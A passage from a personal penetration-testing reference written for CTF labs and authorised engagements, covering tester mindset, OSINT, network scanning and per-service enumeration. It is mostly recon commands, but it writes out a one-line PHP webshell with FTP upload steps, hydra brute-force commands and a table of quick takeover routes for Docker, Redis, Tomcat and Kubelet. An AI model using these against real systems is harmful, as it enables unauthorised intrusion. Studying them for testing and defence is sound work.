My Penetration Testing Notes

Over the past few years working through HackTheBox, TryHackMe, VulnHub, HackMyVM, VulNyx, DockerLabs, and realworld engagements, I have accumulated an enormous amount of notes, commands, techniques, and hardwon lessons. This document is the result of all of that compiled, organized, and formatted into something I can actually use under pressure.

This is not a tutorial. It is not a beginner guide. It is a reference document built for people who are already in the middle of something and need to find a specific command, technique, or methodology fast. Use Ctrl+F to jump to whatever you need. Everything here has been personally tested, sourced from real research, and refined through repetition.

The document covers 20 phases of a penetration test from environment setup and OSINT through to exploitation, privilege escalation, Active Directory attacks, pivoting, wireless, binary exploitation, reverse engineering, evasion, and postexploitation. The appendices at the end contain quickreference cheat sheets for every major category reverse shells, file transfers, hash cracking, web payloads, and more.

All techniques documented here are intended for use in authorized penetration testing engagements, Capture the Flag competitions, and personal lab environments. Always have written authorization before testing any system you do not own.

How to Use This Document

Ctrl+F to search for any tool, technique, port, or command Each phase is self contained jump directly to what you need Commands are cop ypaste ready with variable placeholders like $IP, $DOMAIN, $USER, $PASS

⬡ PHASE 0 MINDSET & ENVIRONMENT SETUP

0.1 The Elite Hacker Mindset

Penetration testing is structured creative problem solving under time pressure. Veterans do not panic when stuck they follow the process. The single most common reason people fail boxes is tunnel vision: they find one interesting thing and hyper focus on it while the actual path sits ignored. The methodology below is your anchor. When lost, return to it.

What separates good testers from great ones is not tool knowledge it’s mental discipline. Anyone can learn commands. The hard part is knowing when to stop what you’re doing, zoom out, and reconsider. Great testers run the same mental loop constantly: enumerate, analyze, hypothesize, test, and enumerate again. They never assume a service is unimportant because it looks boring, and they never skip documenting a small finding because it seems irrelevant. That “irrelevant” credential found in a config file is almost always the pivot point later.

Tunnel vision is the professional term for fixating on one attack path to the exclusion of everything else. It’s natural when you find something interesting, your brain wants to pursue it. But in penetration testing, the interesting thing is rarely the actual entry point. The actual entry point is usually something you haven’t looked at yet. The fix is discipline: before exploiting anything, enumerate everything.

Enumerate more, assume less.

The Core Mental Loop: Enumerate → Analyze → Hypothesize → Test → Enumerate More. You cycle this endlessly.

ALWAYS DONEVER DO
Enumerate everything before exploitingRun exploits before fully enumerating
Take notes on every finding even small onesAssume a port is unimportant
Screenshot every important stepSkip reading error messages carefully
Save every credential found, try it everywhereTunnel vision on one vulnerability
Revisit old findings with new contextForget to try username=password
Try obvious things first: default creds, admin/adminRun noisy tools without understanding them
Read ALL service banners and version numbersGive up before 60+ minutes of trying
Check source code, comments, JS files, robots.txtAssume the box is broken when stuck
Think about what the box WANTS you to findSkip UDP scanning
Try found credentials on ALL servicesIgnore 403/401 pages always try to bypass them
Check for backup/old files (.bak, ~, .old, .orig)Forget to enumerate AFTER getting a shell
Look at error messages for info leakageTrust tool output blindly verify manually

The box creator always leaves ONE intended path. Everything else is rabbit holes. When you find something interesting, resist the urge to exploit immediately. Keep enumerating the real vector often only makes sense once you have seen the full picture.

Experienced testers write a short hypothesis before running any tool: “I think this service has X vulnerability because of Y.” This prevents mindless toolrunning and keeps you thinking critically.

When stuck for more than 30 minutes, stop and ask: What have I NOT tried yet? Common blind spots: UDP ports, virtual hosts, IPv6, parameter fuzzing, older HTTP methods (PUT/TRACE), different wordlists.

0.2 Environment Setup

A clean, consistent workspace is not optional it is a professional requirement. When you’re three hours into an engagement and you need to find that credential you found earlier, you want it in one predictable place. Environment setup is the difference between a confident tester who can find any note instantly and a panicked tester drowning in a terminal with no idea what they’ve done.

Directory structure mirrors the attack surface. Each service gets its own folder so that evidence, notes, and tool output never crosscontaminate. When you revisit SMB after getting a shell, all your earlier SMB work is exactly where you left it.

tmux (Terminal Multiplexer) is essential. It lets you split one terminal window into multiple panes and windows, run tools in the background, and crucially detach from a session and reattach later without losing anything. A dying SSH connection doesn’t kill your running scans when you’re in tmux. Most professionals use one tmux session per target with dedicated windows per service.

The script command records everything printed to your terminal to a log file. This is your automatic audit trail. In real engagements, this log is evidence. In CTFs, it’s your safety net when you need to trace back what you did.

Environment variables like $IP and $DOMAIN mean you can copypaste any command from these notes without editing it just set the variables once at the start and every subsequent command picks them up automatically.

Working Directory Structure

export IP=10.10.10.X
export DOMAIN=target.htb
export USER=""
export PASS=""
export DC=dc01.target.htb

mkdir p ~/boxes/BOXNAME/{nmap,web,smb,ldap,ftp,ssh,smtp,snmp,nfs,exploits,loot,notes,screenshots,payloads,transfers,bloodhound,ad}
cd ~/boxes/BOXNAME

echo "$IP $DOMAIN" | sudo tee a /etc/hosts

tmux new s BOXNAME

script a ~/boxes/BOXNAME/notes/terminal.log

Always add IPs and hostnames to /etc/hosts BEFORE scanning. Many web apps return different content based on the Host header. Also add subdomains as you discover them.

Use tmux windows per service: window 0 = notes, window 1 = web, window 2 = smb, window 3 = shell listener.

NoteTaking Template

Why notes matter: Memory is unreliable under pressure. A finding you dismissed at hour one is sometimes the key at hour six but only if you wrote it down. The template below creates a structured record of credentials, hashes, findings, and your planned next steps. The TODO section is particularly important: when you get distracted chasing something, your TODO list is how you get back on track.

# =============================================
# BOX: BOXNAME | IP: $IP | Date: $(date)
# =============================================
# OS: Linux / Windows
# Ports:
# Services:
#
# === CREDENTIALS ===
# username:password @ service
#
# === HASHES ===
#
# === KEY FINDINGS ===
#
# === TODO ===
# [ ] Full port scan
# [ ] UDP scan
# [ ] Web enumeration
# [ ] SMB enumeration
#
# === ATTACK PATH ===
# 1. Found X in Y
# 2. Used X to get initial access as user
# 3. Privesc via Z

Master Toolset Reference

Understanding the toolset ecosystem: Penetration testing tools fall into distinct categories, and understanding which tool solves which problem is fundamental. Scanning tools find the attack surface. Web tools probe web applications. Cracking tools recover passwords offline. Exploit frameworks deliver payloads. Postexploitation tools maintain access and extract value. Knowing the right tool for the job and why it’s the right tool is what makes the difference between effective and random testing.

ToolCategoryPrimary Use
nmapScanningPort scanning, service detection, NSE scripts
masscan / rustscanScanningUltrafast port discovery
gobuster / ffuf / feroxbusterWebDirectory, file, vhost, parameter fuzzing
nikto / nucleiWebAutomated vulnerability scanning
burpsuite / caidoWebProxy, interceptor, repeater, intruder
hydra / medusa / crackmapexecAuthCredential brute forcing
john / hashcatCrackingPassword hash cracking (offline)
metasploit / msfvenomExploitExploitation framework & payload generator
searchsploitExploitOffline exploit database search
netcat / ncat / socatShellListeners, port connections, pivoting
pwncatcs / rlwrapShellUpgraded interactive shell handlers
evilwinrmWindowsWindows remote management shells
impacket suiteWindows/ADWindows/AD protocol toolset
bloodhound / sharphoundADAD attack path enumeration
linpeas / winpeasPrivEscAutomated privilege escalation enumeration
pspy64PrivEscLinux process monitoring without root
chisel / ligolong / socatPivotingPort forwarding, tunneling, SOCKS proxy
enum4linuxngEnumerationSMB/Samba/LDAP enumeration
crackmapexec / netexecWindowsSwiss army knife for Windows networks
sqlmapWebAutomated SQL injection
kerbruteADKerberos user enumeration and brute forcing
mimikatz / pypykatz / lsassyCredsCredential extraction from Windows memory
certipy / certifyADCSActive Directory Certificate Services attacks
responder / inveighNetworkLLMNR/NBTNS poisoning, hash capture
ntlmrelayxNetworkNTLM relay attack tool
pacu / scoutsuiteCloudCloud security enumeration
checksec / pwndbgBinaryBinary analysis and exploitation
ghidra / radare2REReverse engineering frameworks
volatility3ForensicsMemory forensics

⬡ PHASE 1 OSINT & PREENGAGEMENT RECONNAISSANCE

What is OSINT and why does it matter?

OSINT stands for Open Source Intelligence the practice of collecting information about a target using only publicly available sources. No packets are sent to the target. No logs are generated on their side. This is the safest phase of a penetration test from a detection standpoint, and often the most productive.

The goal of OSINT is to build a complete picture of the target’s attack surface before touching a single live system. This includes understanding what domains they own, what subdomains are exposed, what software versions they’re running, whether any employees have leaked credentials online, and whether any source code has been accidentally published to GitHub. Realworld breaches are frequently enabled by OSINT findings a leaked API key in a public repository, an exposed staging environment found via certificate transparency, or a password hash posted to a paste site years ago.

Passive vs. Active Reconnaissance Passive recon never touches the target directly. You query thirdparty services (Shodan, crt.sh, GitHub, Wayback Machine) that have already indexed information about your target. Active recon sends packets to the target (DNS bruteforcing, port scanning). It’s louder and may be logged.

Always exhaust passive options before going active.

1.1 Passive Reconnaissance

Domain & DNS Intelligence

DNS (Domain Name System) is the phone book of the internet it maps humanreadable names to IP addresses. But DNS records contain far more than just A records. MX records show mail servers. TXT records often contain SPF, DKIM, and sometimes internal configuration hints. NS records identify authoritative nameservers. SOA records reveal administrative contact information.

WHOIS lookups reveal the registrant of a domain their name, organization, address, email, and registration/expiry dates. Even when privacy protection is used, the registrar, creation date, and nameservers are usually visible. This tells you when a domain was registered (older = more established = more likely to have legacy infrastructure), what registrar was used, and sometimes the hosting provider.

Zone Transfer (AXFR) is a DNS mechanism intended to let secondary nameservers replicate zone data from a primary. When misconfigured, it allows anyone to request a complete dump of every DNS record for a domain every hostname, IP, mail server, and internal service name. This is the single highestvalue passive DNS check. One successful zone transfer can map an entire internal infrastructure without ever touching a target system.

whois $DOMAIN && whois $IP

dig $DOMAIN ANY +noall +answer
dig $DOMAIN MX NS TXT SOA A AAAA CNAME
dig x $IP

# Zone transfer
dig axfr @$IP $DOMAIN
host l $DOMAIN $IP
dnsrecon d $DOMAIN t axfr

# Subdomain enumeration
subfinder d $DOMAIN o subdomains.txt all
amass enum passive d $DOMAIN o amass_passive.txt
amass enum active d $DOMAIN o amass_active.txt brute
assetfinder subsonly $DOMAIN | tee assetfinder.txt

# DNS brute force
dnsrecon d $DOMAIN t brt D /usr/share/seclists/Discovery/DNS/subdomainstop1million5000.txt
gobuster dns d $DOMAIN w /usr/share/seclists/Discovery/DNS/subdomainstop1million5000.txt r $IP
ffuf w /usr/share/seclists/Discovery/DNS/subdomainstop1million5000.txt u http://FUZZ.$DOMAIN

# Resolve discovered subdomains
dnsx l subdomains.txt a cname resp o resolved.txt
cat subdomains.txt | httpx silent o live_hosts.txt

Zone transfer is the single most valuable DNS check. A successful AXFR reveals every internal hostname, IP, and service. Always attempt it first.

Certificate Transparency

Certificate Transparency (CT) is a public logging framework that Google mandated for all trusted SSL/TLS certificates. Every certificate issued by a trusted Certificate Authority must be logged to public CT logs before browsers will trust it. This means that every subdomain a company has ever secured with HTTPS is recorded in a public, searchable database including staging environments, internal tools, VPNs, and development servers they thought were private.

crt.sh is a web interface for querying CT logs. The wildcard query (%.domain.com) returns all certificates ever issued for any subdomain of a domain. This frequently exposes infrastructure that doesn’t appear in public DNS or search engines.

curl s "https://crt.sh/?q=%.${DOMAIN}&output=json" | jq r ".[].name_value" | sort u | tee crt_subdomains.txt
cat crt_subdomains.txt | httpx silent statuscode title o live_crt.txt

CT logs expose every SSL cert issued for a domain including staging, VPN, and internal environments.

Google Dorks

Google Dorking (also called Google Hacking) is the practice of using advanced Google search operators to find specific types of sensitive information that search engines have inadvertently indexed. The technique exploits the fact that Google crawls and indexes content that organizations didn’t intend to be publicly visible backup files, database dumps, configuration files, admin panels, and source code repositories.

The site: operator restricts results to a specific domain. filetype: or ext: restricts by file extension. intitle: matches page titles. inurl: matches URL paths. Combining these operators lets you find exactly the kind of sensitive exposure you’re looking for.

Important: Google dorking is passive you are querying Google’s index, not the target directly. However, clicking through to results does generate traffic to the target.

DorkPurpose
site:$DOMAIN filetype:pdf OR filetype:xlsx OR filetype:docxSensitive documents
site:$DOMAIN inurl:admin OR inurl:login OR inurl:panelAdmin panels
site:$DOMAIN intitle:"index of"Directory listings
site:$DOMAIN ext:sql OR ext:bak OR ext:backupDatabase/backup files
site:$DOMAIN ext:log OR ext:txt OR ext:confConfig/log files
site:$DOMAIN inurl:".git" OR inurl:".svn"Exposed version control
"@$DOMAIN" site:pastebin.comLeaked credentials
site:github.com "$DOMAIN" password OR secretHardcoded secrets
site:$DOMAIN "Cannot connect to MySQL"SQL errors
site:$DOMAIN "Warning: include"PHP errors
-site:$DOMAIN filetype:env OR filetype:propertiesEnvironment files

GitHub Intelligence

GitHub is one of the most fertile sources of accidentally leaked sensitive information in existence. Developers routinely commit API keys, database passwords, private keys, and internal URLs to public repositories sometimes intentionally (bad practice) and sometimes accidentally (even worse). The problem is compounded by the fact that even after a secret is deleted from the latest commit, it remains accessible in git history indefinitely unless the repository is forcepurged.

trufflehog and gitleaks are purposebuilt secret scanners that use regex patterns and entropy analysis to detect credentials and tokens in code repositories and their full git history. They scan not just the current state of a repo but every commit ever made.

gitdumper targets a different vulnerability: when a .git/ directory is accidentally exposed on a web server, the entire repository can be reconstructed by fetching the raw git objects. This gives you full access to source code, including the git log with all historical commits.

trufflehog github org=$ORG token=$GITHUB_TOKEN
trufflehog git file://./repo json

gitleaks detect source=. v
gitleaks detect source=/path/to/repo reportpath=leaks.json

# Dump exposed .git directory
gitdumper http://$IP/.git/ ./dumped_repo
cd dumped_repo && git log all oneline
git log all p | grep i "password\|secret\|key\|token"

Always git log after dumping a repo. Developers frequently commit secrets and then remove them but the secret is still in git history.

Shodan & Wayback

Shodan is a search engine for internetconnected devices. Unlike Google, which indexes web content, Shodan indexes banners the raw responses that services send when probed. It continuously scans the entire internet and catalogs what it finds: open ports, service versions, SSL certificates, and device types. For a penetration tester, Shodan can reveal forgotten infrastructure, outdated software versions, and exposed services that the organization may not even know are internetfacing.

Wayback Machine / gau / waybackurls are tools for querying the Internet Archive and similar web crawlers for historical snapshots of a website. Old versions of web applications frequently contain parameters, endpoints, API paths, and functionality that has since been removed from the live site but the backend code may still be present. Crawling historical URLs often reveals forgotten admin endpoints, old API parameters, and paths that are no longer linked but still accessible.

Parameter extraction from historical URLs is particularly valuable for injection testing if a parameter existed historically, it may still be processed by the server even if it’s no longer shown in the UI.

shodan host $IP
shodan search "ssl:$DOMAIN"
shodan search "org:$ORG" fields ip_str,port,hostnames

waybackurls $DOMAIN | tee wayback.txt
gau $DOMAIN | tee gau.txt
cat wayback.txt gau.txt | sort u | grep "\." | tee all_urls.txt
cat all_urls.txt | grep "?" | cut d "?" f 2 | tr "&" "\n" | cut d "=" f 1 | sort u > params.txt

⬡ PHASE 2 NETWORK RECONNAISSANCE & SCANNING

What is network reconnaissance?

Network reconnaissance is the process of discovering what is actually running on a target system or network. Where OSINT works from outside (querying public databases), network recon sends packets directly to the target and interprets the responses. Every open port is a potential attack surface. Every service version is a potential CVE. Every banner is information.

The goal of this phase is to build a complete, accurate picture of every listening service on the target not just the obvious ones on wellknown ports, but everything, including UDP services that are systematically skipped and therefore systematically overlooked.

Why port scanning matters: A server running 15 services that you haven’t discovered is a server with 15 potential attack vectors you haven’t considered. One of those services perhaps an old internal tool on a nonstandard port may be the only vulnerable one. Without thorough scanning, you’ll never find it.

2.1 Host Discovery

Before scanning ports, you need to know which hosts are alive. In singletarget CTF scenarios this is trivial. In real engagements with large IP ranges, host discovery narrows the scope to actuallyrunning machines before you waste time deepscanning dead addresses.

TTL (Time to Live) is a field in every IP packet that decrements by 1 at each router hop. The starting TTL value is OSdependent: Linux/Mac typically start at 64, Windows at 128, and network devices at 255. Because TTL decrements en route, what you observe is slightly lower than the starting value but the range makes the OS family identifiable. A response with TTL 63 means Linux one hop away. A response with TTL 127 means Windows one hop away.

IPv6 is critically important and almost always skipped. Many targets have IPv6 addresses configured alongside IPv4, and IPv4based firewall rules frequently don’t apply to IPv6 traffic. This means a firewall that blocks port 22 on IPv4 may leave it completely open on IPv6. Always check for IPv6.

ping c 3 $IP
# TTL ~64 = Linux/Mac | TTL ~128 = Windows | TTL ~255 = Network device

nmap sn 10.10.10.0/24 oN nmap/host_discovery.txt
arpscan l interface=eth0
fping a g 10.10.10.0/24 2>/dev/null | tee live_hosts.txt

# IPv6 (OFTEN MISSED  bypasses IPv4 firewalls)
ping6 c 3 $IP
nmap 6 $IP

IPv6 is massively overlooked. Many targets have IPv6 addresses that bypass IPv4based firewall rules.

2.2 Nmap Scanning Strategy

Nmap (Network Mapper) is the industrystandard port scanner and the single most important tool in network reconnaissance. It works by sending crafted packets to target ports and interpreting the responses to determine whether ports are open, closed, or filtered, and what service/version is running on them.

Understanding scan types: SYN scan (sS): The default. Sends a TCP SYN packet (connection initiation) and checks the response. A SYNACK response means the port is open. A RST means closed. No response (or ICMP unreachable) means filtered. The scan never completes the TCP handshake, making it faster and less noisy than a full connect scan. Service/version scan (sV): After discovering open ports, nmap probes each one with servicespecific requests to identify exactly what software and version is listening. This is what turns “port 80 is open” into “Apache httpd 2.4.49.” Script scan (sC): Runs nmap’s builtin Nmap Scripting Engine (NSE) default scripts, which perform basic vulnerability checks, banner grabbing, authentication checks, and more for each identified service. OS detection (O): Uses TCP/IP stack fingerprinting to guess the target’s operating system. Comparing the observed TTL, TCP window sizes, and other IP/TCP characteristics against a knownOS database. UDP scan (sU): Scans UDP ports. Much slower than TCP because UDP is connectionless nmap has to wait for ICMP “port unreachable” responses (or the absence of them) to infer port state.

Why a twophase scanning strategy? Full port scans (p) check all 65,535 TCP ports but take time. Running full service detection (sV sC) on all 65,535 ports simultaneously is extremely slow. The efficient approach: run a fast allport scan to find open ports, then run deep service detection only against those open ports. RustScan makes the first phase dramatically faster it can scan all ports in seconds, then hands off to nmap for service detection.

Step 1: UltraFast Full Port Discovery

# RustScan (fastest)
rustscan a $IP ulimit 5000  sV sC oN nmap/rustscan.txt

# Standard nmap full TCP
nmap p minrate 5000 T4 $IP oN nmap/all_ports.txt

# Extract open ports
ports=$(grep "^[09]" nmap/all_ports.txt | cut d"/" f1 | tr "\n" "," | sed "s/,$//") && echo $ports

# Run quick and full scan in parallel
nmap sV sC p22,80,443,445,8080,8443 $IP oN nmap/quick.txt &
nmap p minrate 5000 $IP oN nmap/allports.txt &
wait

Step 2: Deep Service Scan

NSE (Nmap Scripting Engine) is nmap’s builtin scripting framework, written in Lua. It provides hundreds of scripts for authentication testing, vulnerability detection, service enumeration, and more. The script=vuln category runs scripts that check for known CVEs and misconfigurations. searchsploit nmap automatically crossreferences every service version nmap identified against the ExploitDB offline database it’s a onecommand way to check if anything obvious is knownvulnerable.

nmap p$ports sV sC A O $IP oN nmap/targeted.txt
nmap p$ports script=default,safe $IP
nmap p$ports script=auth $IP
nmap p$ports script=vuln $IP oN nmap/vuln_scan.txt

# Autosearch exploits from nmap results
searchsploit nmap nmap/targeted.txt

Step 3: UDP Scan (CRITICAL ALWAYS DO THIS)

UDP (User Datagram Protocol) is connectionless unlike TCP, there’s no threeway handshake to confirm a connection. Many critical services run exclusively on UDP: DNS (53), DHCP (67/68), SNMP (161), TFTP (69), and IPMI (623). These services are invisible to TCPonly scans and are systematically overlooked by testers who don’t explicitly scan UDP.

SNMP on UDP 161 is particularly valuable. With the default community string “public,” SNMP can dump running processes (including their commandline arguments which often contain passwords), installed software, network interfaces, routing tables, and user accounts all without authentication.

IPMI on UDP 623 is even more dangerous: it allows unauthenticated hash extraction of any local user’s password hash in many configurations, including the ADMIN account.

sudo nmap sU topports 200 $IP oN nmap/udp.txt

⚠️ Skipping UDP is one of the most common reasons people get stuck. SNMP on UDP 161 with “public” community string dumps running processes, users, software, and network config. IPMI on UDP 623 dumps password hashes without authentication.

Nmap Port Decision Tree

Every open port is a decision point. The moment you see a port, you should have a mental checklist of what to do next. This table codifies that knowledge for each port, what the immediate priority action is and what it means for the broader engagement. Port 88 (Kerberos) for instance tells you immediately that you’re dealing with an Active Directory domain controller, which changes the entire methodology.

Open PortImmediate ActionNotes
21 (FTP)Try anonymous loginIf write + web root = webshell upload
22 (SSH)Banner grab, check versionOpenSSH < 7.7 = user enumeration
80/443 (HTTP)Full web enumerationBiggest attack surface
88 (Kerberos)Switch to AD methodologyPort 88 = DC
139/445 (SMB)Null session, share enumSMB signing off = relay attack possible
161 (SNMP)snmpwalk with public/privateDumps process command lines
389/636 (LDAP)Anonymous bindCheck description fields for passwords
1433 (MSSQL)Try sa with blank passwordxp_dirtree for hash capture
2375 (Docker)docker H tcp://$IP:2375 psMount / to container = instant root
3306 (MySQL)Try root with blank passwordload_file + INTO OUTFILE = file read/write
6379 (Redis)Check if unauthedconfig set dir + bgsave = arbitrary file write
8080/8443Check Tomcat /manageradmin:admin = WAR shell upload
9200 (Elasticsearch)curl http://$IP:9200/_cat/indicesFull data dump without credentials
10250 (Kubelet)curl sk https://$IP:10250/podsAnonymous auth = RCE on any running pod

After getting nmap results, immediately run: searchsploit nmap nmap/targeted.txt. This autosearches ExploitDB for every service version found.

Filtered ports are reachable with source port tricks: nmap p[filtered_port] sourceport 53 $IP

⬡ PHASE 3 SERVICE ENUMERATION

Service enumeration is where you go deep. Port scanning tells you what’s open. Service enumeration tells you what’s there, how it’s configured, who has access, what version it’s running, and what mistakes have been made in its setup. Each service has its own attack surface and its own set of misconfigurations. This phase is methodical every service gets its own checklist.

The goal is not to exploit yet. The goal is to build a complete picture of every service so that when you move to exploitation, you have already identified the most promising paths. Experienced testers enumerate everything before exploiting anything.

3.1 FTP (Port 21)

FTP (File Transfer Protocol) is one of the oldest protocols still in use, dating to 1971. It transfers files between client and server with no encryption credentials and file contents are transmitted in plaintext. Modern deployments should use SFTP or FTPS instead, but FTP remains common on legacy systems, embedded devices, and lazy configurations.

Anonymous authentication is the first thing to check. Many FTP servers are intentionally or accidentally configured to allow any user to authenticate with the username anonymous and any string as a password (commonly their email address, but any string works). Anonymous access that includes write permission to the web root is immediately exploitable: upload a PHP webshell, browse to it, get code execution.

Active vs Passive mode: FTP has two connection modes that affect how data connections are established. Active mode has the server connect back to the client (often blocked by clientside firewalls). Passive mode (ftp p) has the client connect to the server usually more reliable through NAT and firewalls.

If anonymous login works, download EVERYTHING: wget r nopassive ftp://anonymous:anon@$IP/

ftp $IP
ftp p $IP

nmap p21 script ftpanon,ftpbounce,ftpsyst,ftpbrute $IP

hydra l admin P /usr/share/wordlists/rockyou.txt ftp://$IP t 4

wget r nopassive ftp://anonymous:@$IP/
curl v ftp://$IP/ user anonymous:

# Inside FTP shell
ls la
pwd && cd /
get important_file.txt
mget *
put test.txt
passive
binary

# FTP write + web root = webshell
echo "<?php system($_GET['c']);?>" > /tmp/shell.php
ftp $IP && put /tmp/shell.php
# Navigate to: http://$IP/shell.php?c=id

3.2 SSH (Port 22)

SSH (Secure Shell) is the standard protocol for encrypted remote commandline access to Unix/Linux systems and increasingly Windows. Unlike Telnet, all SSH traffic is encrypted. However, SSH itself can be attacked in several ways: versionspecific CVEs, weak key files (crackable passphrases), misconfigured authorized_keys, and username enumeration in older versions.

OpenSSH versions below 7.7 are vulnerable to a timingbased username enumeration vulnerability: the server responds slightly differently to valid vs. invalid usernames, allowing automated enumeration of valid accounts.

SSH key authentication replaces password auth with publickey cryptography. The private key (id_rsa) stays on the client; the public key is placed in ~/.ssh/authorized_keys on the server. Finding an exposed private key (in a backup file, a git repo, an FTP share) gives you authentication without needing a password unless the key has a passphrase, in which case ssh2john extracts a crackable hash.

SSH tunneling is one of the most powerful pivoting mechanisms available. It lets you forward ports through an SSH connection, giving you access to services on remote networks that aren’t directly reachable. See Phase 12 for detailed tunneling methodology.

ssh $IP v
ssh o "PreferredAuthentications=password" user@$IP
ssh i id_rsa user@$IP
chmod 600 id_rsa && ssh i id_rsa user@$IP

ssh2john id_rsa > rsa.hash && john rsa.hash wordlist=rockyou.txt
puttygen key.ppk O privateopenssh o key.pem

sshaudit $IP
python3 ssh_user_enum.py userList users.txt ip $IP

# SSH key hunting
find / name "id_rsa" o name "id_ed25519" o name "*.pem" o name "*.ppk" 2>/dev/null
find / name "authorized_keys" 2>/dev/null
cat ~/.ssh/known_hosts

# SSH tunneling
ssh L 8080:127.0.0.1:8080 user@$IP
ssh R 4444:YOURIP:4444 user@$IP
ssh D 1080 user@$IP

3.3 SMTP (Ports 25, 587, 465)

SMTP (Simple Mail Transfer Protocol) is the protocol responsible for sending email between servers. Ports 25, 587, and 465 each serve slightly different roles: port 25 is servertoserver email relay, port 587 is the standard submission port for email clients, and port 465 is SMTPS (SMTP over SSL).

From a penetration testing perspective, SMTP exposes several attack surfaces. User enumeration via VRFY and RCPT TO commands: some SMTP servers will confirm whether a given username or email address exists on the system, which can be used to build a valid user list for brute forcing other services. Phishing and relay abuse: open relays allow sending email as any user, which is useful in social engineering scenarios. NTLM information leakage: Windows SMTP servers often expose the internal computer name, domain, and OS version in NTLM authentication challenge responses even when you don’t actually authenticate.

nc $IP 25
EHLO attacker.com
VRFY root
RCPT TO:<root@$DOMAIN>

smtpuserenum M VRFY U /usr/share/seclists/Usernames/topusernamesshortlist.txt t $IP
smtpuserenum M RCPT U userlist.txt t $IP

swaks to test@external.com from admin@$DOMAIN server $IP

nmap p25 script smtpntlminfo $IP

3.4 DNS (Port 53)

DNS enumeration from a live service goes beyond the passive techniques in Phase 1. When you have access to a DNS server (either directly exposed or reachable internally), you can query it interactively, attempt zone transfers, and perform reverse lookups against its IP ranges to map out internal hostnames.

Reverse DNS lookups query the PTR record for an IP address to find its hostname. Iterating through a subnet and doing reverse lookups against the target’s DNS server can reveal internal server names, naming conventions, and additional targets. Naming conventions like db01.internal, vpn.internal, or mgmt.corp reveal the shape of the internal network.

SRV records are especially valuable in Active Directory environments they advertise where services like Kerberos and LDAP are located, confirming which server is the domain controller before you even start ADspecific enumeration.

dig axfr @$IP $DOMAIN
host l $DOMAIN $IP

dig $DOMAIN TXT @$IP
dig _kerberos._tcp.$DOMAIN SRV @$IP
dig _ldap._tcp.$DOMAIN SRV @$IP

gobuster dns d $DOMAIN w /usr/share/seclists/Discovery/DNS/subdomainstop1million5000.txt r $IP

for i in $(seq 1 254); do host 10.10.10.$i $IP; done | grep "domain name pointer"

3.5 HTTP/HTTPS (Ports 80, 443, 8080, 8443)

Web applications are the largest attack surface in modern penetration testing. An exposed HTTP service means an entire application with authentication logic, database queries, file operations, and user input is reachable from the network. Web attacks are covered in depth in Phase 4, but the enumeration phase comes first: you need to understand the full scope of what’s deployed before you start probing for vulnerabilities.

What to look for in web enumeration: Technology fingerprinting: What framework? What CMS? What server version? Every answer narrows down which attack techniques apply. Content discovery: Hidden directories, backup files, old versions, admin panels, API endpoints. These are things not linked from the main application but still accessible. Virtual host discovery: One IP address can host multiple web applications, each responding to a different Host: header. If you only browse to the IP directly, you see one application. Fuzzing with different hostnames may reveal others entirely. Source code review: HTML comments, JavaScript files, inline scripts developers leave API keys, internal URLs, debug endpoints, and credentials in clientside code constantly.

Initial Manual Checks

The first thing you do on any web service is look at it manually. Automated tools are noisy and miss context. A human eye can spot a comment in source code, an unusual form field, or a suspicious JavaScript variable that a scanner will blow past. curl I grabs the HTTP headers the Server: header gives you the web server software and version, XPoweredBy: often reveals the application framework, and custom headers sometimes leak application names and versions. robots.txt lists paths the site owner wants search engines to ignore which is paradoxically a list of exactly the paths you should check.

curl I http://$IP
curl Ls http://$IP/robots.txt
curl Ls http://$IP/sitemap.xml
curl Ls http://$IP/.wellknown/

echo | openssl s_client connect $IP:443 2>/dev/null | openssl x509 noout text | grep E "DNS:|Subject:"

for path in /admin /login /dashboard /wpadmin /phpmyadmin /.git /.env /backup /api /swagger /console; do
    status=$(curl s o /dev/null w "%{http_code}" http://$IP$path)
    [[ "$status" != "404" ]] && echo "$status $path"
done

Directory & File Fuzzing

Content discovery / directory brute forcing works by sending HTTP requests for thousands of common filenames and directory names and recording which ones return non404 responses. Tools like gobuster, ffuf, and feroxbuster do this at high speed. The wordlist is the key variable a great wordlist finds what a mediocre one misses.

File extension fuzzing is equally important. A server may not serve admin but may serve admin.php, admin.bak, or admin.html. Extensions like .bak, .old, .orig, and ~ often represent backup files created by text editors or deployment scripts that were accidentally left on the server and may contain source code or credentials.

feroxbuster adds recursive scanning when it finds a directory, it automatically scans inside it too, building a complete tree of accessible content.

gobuster dir u http://$IP w /usr/share/seclists/Discovery/WebContent/raftlargewords.txt \
    x php,html,txt,js,bak,zip,sql,xml,json,config,log o web/gobuster.txt t 50

ffuf u http://$IP/FUZZ w /usr/share/seclists/Discovery/WebContent/raftlargewords.txt \
    e .php,.html,.txt,.bak,.zip,.sql,.json,.xml,.config o web/ffuf.json of json

feroxbuster u http://$IP w raftlarge.txt depth 4 x php,html,txt,bak

Virtual Host Fuzzing

Virtual hosting (vhosting) allows a single web server to host multiple websites, distinguished by the Host: HTTP header the client sends. When you request http://10.10.10.10, your browser sends Host: 10.10.10.10. When you request http://dev.target.htb, your browser sends Host: dev.target.htb. The server uses this header to decide which application to serve.

The implication for penetration testing: A target with IP 10.10.10.10 might serve a completely different and potentially less hardened application when you send Host: dev.target.htb or Host: admin.target.htb. Virtual host fuzzing tries thousands of potential hostnames against the same IP and looks for differentsized responses (different size = different content = different application).

The baseline size approach: first request with a random hostname that definitely doesn’t exist, note the response size, then filter out responses of that size during fuzzing. Any differentsized response is a real vhost.

curl s o /dev/null w "%{size_download}\n" http://$IP

ffuf u http://$IP H "Host: FUZZ.$DOMAIN" \
    w /usr/share/seclists/Discovery/DNS/subdomainstop1million5000.txt fs BASELINE_SIZE

gobuster vhost u http://$DOMAIN w subdomains.txt appenddomain

echo "$IP dev.$DOMAIN staging.$DOMAIN admin.$DOMAIN" >> /etc/hosts

VHost fuzzing is one of the most commonly skipped steps and one of the most rewarding. CTF boxes frequently hide entire secondary applications behind virtual hostnames.

Web Enumeration Checklist

Browse entire site manually every page, every link, every form View page source: comments, hidden inputs, API endpoints, API keys Check ALL JavaScript files Run LinkFinder: python3 linkfinder.py i http://$IP/app.js o cli Check for /.git/ exposed repo: gitdumper http://$IP/.git/ ./dumped_repo Check /.svn/, /.hg/, /.bzr/ Check /backup/, /bak/, /old/, /archive/ Try adding extensions: /admin.php, /admin.bak, /admin.html Check default credentials on identified CMS/framework Inspect all cookies: JWT? Base64? Missing security flags? Run nikto: nikto h http://$IP o web/nikto.txt Run nuclei: nuclei target http://$IP t cves,exposures o nuclei.txt Check for API docs: /swagger, /openapi.json, /apidocs, /graphql ALWAYS try SQLi on every form field AND every URL parameter

3.6 SMB (Ports 139, 445)

